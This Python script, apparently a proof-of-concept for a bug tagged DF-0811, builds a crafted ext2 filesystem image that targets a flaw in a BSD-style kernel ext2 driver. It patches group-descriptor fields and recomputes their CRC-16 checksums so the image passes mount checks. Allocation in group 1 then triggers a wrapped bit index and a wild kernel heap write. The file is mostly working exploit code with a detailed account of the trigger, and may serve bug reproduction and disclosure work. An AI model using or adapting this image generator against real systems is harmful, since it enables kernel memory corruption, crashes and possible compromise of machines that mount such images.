#!/usr/bin/env python3
"""
DF-0811 — crafted ext4 image generator.

Creates an ext2 image with FLEX_BG + GDT_CSUM, then patches group 1's
block-bitmap descriptor pointer to a block physically in GROUP 0 whose
BUGGY ext2_get_group_number (dividing by e2fs_bsize instead of e2fs_bpg)
returns 1 — the wrong group.  Mount validation (ext2_vfsops.c:400-409) uses
CORRECT bounds so the crafted image passes mount; the bug only fires when
ext2_alloccg for cg=1 calls ext2_cg_block_bitmap_init, which uses the BUGGY
ext2_block_in_group and produces:

    setbit(bp->b_data, tmp - start)   with tmp(1025) - start(8193) = uint64 wrap
                                      => wild out-of-bounds kernel heap write.

Group 0's nbfree is zeroed so the block allocator's quadratic rehash
(ext2_hashalloc, ext2_alloc.c:750) skips group 0 and immediately lands on
group 1, deterministically triggering the init.
"""

import struct, subprocess, sys, os

# ---- CRC-16 (polynomial 0x8005), matches ext2_csum.c ext2_crc16 ----
_T = [
0x0000,0xC0C1,0xC181,0x0140,0xC301,0x03C0,0x0280,0xC241,
0xC601,0x06C0,0x0780,0xC741,0x0500,0xC5C1,0xC481,0x0440,
0xCC01,0x0CC0,0x0D80,0xCD41,0x0F00,0xCFC1,0xCE81,0x0E40,
0x0A00,0xCAC1,0xCB81,0x0B40,0xC901,0x09C0,0x0880,0xC841,
0xD801,0x18C0,0x1980,0xD941,0x1B00,0xDBC1,0xDA81,0x1A40,
0x1E00,0xDEC1,0xDF81,0x1F40,0xDD01,0x1DC0,0x1C80,0xDC41,
0x1400,0xD4C1,0xD581,0x1540,0xD701,0x17C0,0x1680,0xD641,
0xD201,0x12C0,0x1380,0xD341,0x1100,0xD1C1,0xD081,0x1040,
0xF001,0x30C0,0x3180,0xF141,0x3300,0xF3C1,0xF281,0x3240,
0x3600,0xF6C1,0xF781,0x3740,0xF501,0x35C0,0x3480,0xF441,
0x3C00,0xFCC1,0xFD81,0x3D40,0xFF01,0x3FC0,0x3E80,0xFE41,
0xFA01,0x3AC0,0x3B80,0xFB41,0x3900,0xF9C1,0xF881,0x3840,
0x2800,0xE8C1,0xE981,0x2940,0xEB01,0x2BC0,0x2A80,0xEA41,
0xEE01,0x2EC0,0x2F80,0xEF41,0x2D00,0xEDC1,0xEC81,0x2C40,
0xE401,0x24C0,0x2580,0xE541,0x2700,0xE7C1,0xE681,0x2640,
0x2200,0xE2C1,0xE381,0x2340,0xE101,0x21C0,0x2080,0xE041,
0xA001,0x60C0,0x6180,0xA141,0x6300,0xA3C1,0xA281,0x6240,
0x6600,0xA6C1,0xA781,0x6740,0xA501,0x65C0,0x6480,0xA441,
0x6C00,0xACC1,0xAD81,0x6D40,0xAF01,0x6FC0,0x6E80,0xAE41,
0xAA01,0x6AC0,0x6B80,0xAB41,0x6900,0xA9C1,0xA881,0x6840,
0x7800,0xB8C1,0xB981,0x7940,0xBB01,0x7BC0,0x7A80,0xBA41,
0xBE01,0x7EC0,0x7F80,0xBF41,0x7D00,0xBDC1,0xBC81,0x7C40,
0xB401,0x74C0,0x7580,0xB541,0x7700,0xB7C1,0xB681,0x7640,
0x7200,0xB2C1,0xB381,0x7340,0xB101,0x71C0,0x7080,0xB041,
0x5000,0x90C1,0x9181,0x5140,0x9301,0x53C0,0x5280,0x9241,
0x9601,0x56C0,0x5780,0x9741,0x5500,0x95C1,0x9481,0x5440,
0x9C01,0x5CC0,0x5D80,0x9D41,0x5F00,0x9FC1,0x9E81,0x5E40,
0x5A00,0x9AC1,0x9B81,0x5B40,0x9901,0x59C0,0x5880,0x9841,
0x8801,0x48C0,0x4980,0x8941,0x4B00,0x8BC1,0x8A81,0x4A40,
0x4E00,0x8EC1,0x8F81,0x4F40,0x8D01,0x4DC0,0x4C80,0x8C41,
0x4400,0x84C1,0x8581,0x4540,0x8701,0x47C0,0x4680,0x8641,
0x8201,0x42C0,0x4380,0x8341,0x4100,0x81C1,0x8081,0x4040,
]

def crc16(crc, data):
    crc &= 0xFFFF
    for b in data:
        crc = ((crc >> 8) ^ _T[(crc ^ b) & 0xFF]) & 0xFFFF
    return crc

def gd_csum_gdt(uuid_bytes, block_group, gd_30bytes):
    """ext2_gd_csum for GDT_CSUM (non-metadata_csum) — ext2_csum.c:690-701."""
    crc = crc16(0xFFFF, uuid_bytes)
    crc = crc16(crc, struct.pack('<I', block_group))
    crc = crc16(crc, gd_30bytes)
    return crc & 0xFFFF

# ext2_bgd field offsets (struct ext2_gd, rev0 first 32 bytes)
O_B_BITMAP   = 0    # uint32
O_I_BITMAP   = 4    # uint32
O_I_TABLES   = 8    # uint32
O_NBFREE     = 12   # uint16
O_NIFREE     = 14   # uint16
O_NDIRS      = 16   # uint16
O_FLAGS      = 18   # uint16
O_X_BITMAP   = 20   # uint32
O_B_BMAP_CSUM= 24   # uint16
O_I_BMAP_CSUM= 26   # uint16
O_I_UNUSED   = 28   # uint16
O_CSUM       = 30   # uint16

EXT2_BG_BLOCK_UNINIT = 0x0002
GD_SIZE = 32  # E2FS_REV0_GD_SIZE

# superblock field offsets (struct ext2fs, relative to SB start)
S_BCOUNT     = 4    # uint32
S_FBCOUNT    = 12   # uint32
S_FIRST_DBLK = 20   # uint32
S_LOG_BSIZE  = 24   # uint32
S_BPG        = 32   # uint32
S_FPG        = 36   # uint32
S_IPG        = 40   # uint32
S_MAGIC      = 56   # uint16
S_FEAT_INCOMPAT = 96  # uint32
S_FEAT_ROCOMPAT = 100 # uint32
S_UUID       = 104  # 16 bytes

EXT2F_INCOMPAT_FLEX_BG = 0x0200
EXT2F_ROCOMPAT_GDT_CSUM = 0x0010

def main():
    img = sys.argv[1] if len(sys.argv) > 1 else "df0811.img"
    bsize = 1024

    # 1. create base ext2 image: ~17MB → 2 groups of 8192 blocks
    nblocks = 2 * (bsize * 8) + 4   # just over 2 groups; mke2fs rounds
    img_bytes = nblocks * bsize
    subprocess.run(["truncate", "-s", str(img_bytes), img], check=True)
    r = subprocess.run([
        "mke2fs", "-q", "-F", "-t", "ext2",
        "-O", "flex_bg",
        "-O", "uninit_bg",            # mke2fs name for gdt_csum
        "-b", str(bsize),
        "-E", "nodiscard",
        "-g", str(bsize * 8),       # blocks per group = bsize*8
        "-L", "DF0811",
        img,
    ], capture_output=True, text=True)
    if r.returncode != 0:
        sys.stderr.write(r.stderr)
        sys.exit("mke2fs failed")

    with open(img, 'r+b') as f:
        SB = 1024
        f.seek(SB)
        sb = bytearray(f.read(1024))

        magic = struct.unpack_from('<H', sb, S_MAGIC)[0]
        assert magic == 0xEF53, f"bad magic {magic:#x}"
        uuid = bytes(sb[S_UUID:S_UUID+16])
        bcount = struct.unpack_from('<I', sb, S_BCOUNT)[0]
        first_dblock = struct.unpack_from('<I', sb, S_FIRST_DBLK)[0]
        bpg = struct.unpack_from('<I', sb, S_BPG)[0]
        feat_incompat = struct.unpack_from('<I', sb, S_FEAT_INCOMPAT)[0]
        feat_rocompat = struct.unpack_from('<I', sb, S_FEAT_ROCOMPAT)[0]
        ngroups = (bcount - first_dblock + bpg - 1) // bpg

        assert bpg == bsize * 8, f"mount invariant broken: bpg={bpg} bsize*8={bsize*8}"
        assert ngroups >= 2, f"need >=2 groups, got {ngroups}"
        assert feat_incompat & EXT2F_INCOMPAT_FLEX_BG, "flex_bg not set"
        assert feat_rocompat & EXT2F_ROCOMPAT_GDT_CSUM, "gdt_csum not set"

        print(f"image geometry: bsize={bsize} first_dblock={first_dblock} "
              f"bpg={bpg} ngroups={ngroups} bcount={bcount}")
        print(f"features: incompat={feat_incompat:#x} rocompat={feat_rocompat:#x}")
        print(f"uuid: {uuid.hex()}")

        # GD table at block (first_dblock + 1)
        gd_off = (first_dblock + 1) * bsize

        # --- patch cg=0: zero nbfree so allocator skips it ---
        f.seek(gd_off + 0 * GD_SIZE)
        gd0 = bytearray(f.read(GD_SIZE))
        old_nbfree0 = struct.unpack_from('<H', gd0, O_NBFREE)[0]
        struct.pack_into('<H', gd0, O_NBFREE, 0)
        csum0 = gd_csum_gdt(uuid, 0, bytes(gd0[0:O_CSUM]))
        struct.pack_into('<H', gd0, O_CSUM, csum0)
        f.seek(gd_off + 0 * GD_SIZE)
        f.write(gd0)
        print(f"cg=0: nbfree {old_nbfree0} -> 0 (force allocator to cg=1), csum={csum0:#06x}")

        # --- patch cg=1: trigger pointer + BLOCK_UNINIT ---
        f.seek(gd_off + 1 * GD_SIZE)
        gd1 = bytearray(f.read(GD_SIZE))

        # target: b_bitmap = first_dblock + bsize  (in group 0; buggy group = 1)
        target_b_bitmap = first_dblock + bsize   # 1 + 1024 = 1025
        old_bb = struct.unpack_from('<I', gd1, O_B_BITMAP)[0]
        struct.pack_into('<I', gd1, O_B_BITMAP, target_b_bitmap)

        flags = struct.unpack_from('<H', gd1, O_FLAGS)[0]
        flags |= EXT2_BG_BLOCK_UNINIT
        struct.pack_into('<H', gd1, O_FLAGS, flags)

        csum1 = gd_csum_gdt(uuid, 1, bytes(gd1[0:O_CSUM]))
        struct.pack_into('<H', gd1, O_CSUM, csum1)
        f.seek(gd_off + 1 * GD_SIZE)
        f.write(gd1)

        start = 1 * bpg + first_dblock
        buggy_gn = (target_b_bitmap - first_dblock) // bsize
        correct_gn = (target_b_bitmap - first_dblock) // bpg
        print(f"cg=1: b_bitmap {old_bb} -> {target_b_bitmap}, "
              f"flags={flags:#06x} (BLOCK_UNINIT set), csum={csum1:#06x}")
        print(f"  BUGGY   ext2_get_group_number({target_b_bitmap}) = "
              f"({target_b_bitmap}-{first_dblock})/{bsize} = {buggy_gn} (== cg=1 => TRUE)")
        print(f"  CORRECT group number = "
              f"({target_b_bitmap}-{first_dblock})/{bpg} = {correct_gn} (== cg=1 => FALSE)")
        print(f"  start(cg=1) = {start}; setbit bit_index = "
              f"{target_b_bitmap} - {start} = {target_b_bitmap - start} "
              f"=> uint64 wrap to {(target_b_bitmap - start) & 0xFFFFFFFFFFFFFFFF:#018x}")
        print(f"  => wild kernel heap write in ext2_cg_block_bitmap_init")

    print(f"\nimage written: {img} ({os.path.getsize(img)} bytes)")

if __name__ == "__main__":
    main()